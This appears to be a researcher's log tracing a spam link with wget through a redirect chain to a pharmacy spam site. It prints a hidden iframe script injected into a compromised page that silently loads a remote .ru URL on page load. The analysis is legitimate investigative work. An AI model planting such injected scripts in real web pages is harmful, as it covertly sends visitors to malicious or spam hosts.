Pseudo DNS/A w/injected code (NEW) & tor blocker(NEW)


// following spam link....

--15:21:04--  http://192.220.87.172/
           => `index.html'
Connecting to 192.168.7.11:8118... connected.
Proxy request sent, awaiting response... 200 OK
Length: 1,038 (1.0K) [text/html]
15:21:05 (10.21 KB/s) - `index.html' saved [1038/1038]

// ↑contains...INJECTED code ↓
 :
<!--c3284d--><script type="text/javascript">
function frmAdd() {
var ifrm = document.createElement('iframe');
ifrm.style.position='absolute';
ifrm.style.top='-999em';
ifrm.style.left='-999em';
ifrm.src  = "http://wydybpuv.ru/count27.php";
ifrm.id = 'frmId';
document.body.appendChild(ifrm);
};
window.onload = frmAdd;
</script><!--/c3284d-->


// following the links.. is the pseudo a/dns record redirector
   domain, let's see where it goes..↓

--15:23:16--  http://wydybpuv.ru/count27.php
           => `count27.php'
Connecting to 192.168.7.11:8118... connected.
Proxy request sent, awaiting response... 200
Length: 142 []
Last-modified header invalid -- time-stamp ignored.
15:23:17 (494.72 B/s) - `count27.php' saved [142/142]

//↑contains↓

<!DOCTYPE HTML><html><head><script type="text/javascript">parent.location.href = "http://goherdscan.com/";</script></head><body></body></html>


// following the links..

--15:24:46--  http://goherdscan.com　　　// tor conns take 1 ... fail..
           => `index.html.1'
Connecting to 192.168.7.11:8118... connected.
Proxy request sent, awaiting response... ^C
C:\Program Files\GnuWin32\bin\dump>


--15:25:33--  http://goherdscan.com/　　　// tor conns take 2 ... fail..
           => `index.html.1'
Connecting to 192.168.7.11:8118... connected.
Proxy request sent, awaiting response... ^C


--15:26:00--  http://goherdscan.com/     // wtf.. get rid of the tor, use bouncer...
           => `index.html.1'
Resolving goherdscan.com... 94.23.242.200
Connecting to goherdscan.com|94.23.242.200|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
15:26:02 (56.32 KB/s) - `index.html.1' saved [54634]

// ending up with the adult pharma spam sites, below lynx snipped..

My Canadian Pharmacy - Canadian Quality Medications at Affordable Price (p1 of 4)
   My Canadian Pharmacy
   USD GBP CAD EUR AUD CHF
   [search_button.gif]-Submit Enter product name_______
     * Men's Health
          + Viagra bestseller
          + Cialis bestseller
          + Viagra Super Active+ bestseller
          + Levitra bestseller
          + Viagra Professional bestseller
          + Viagra Super Force bestseller
          + Cialis Super Active+ bestseller
          + Cialis Professional bestseller
          + Cialis Soft Tabs bestseller
          + Viagra Soft Tabs bestseller
          + Propecia bestseller
          + Super Active ED Pack
          + VPXL
          + Maxaman bestseller
          + View all products
     * Pain Relief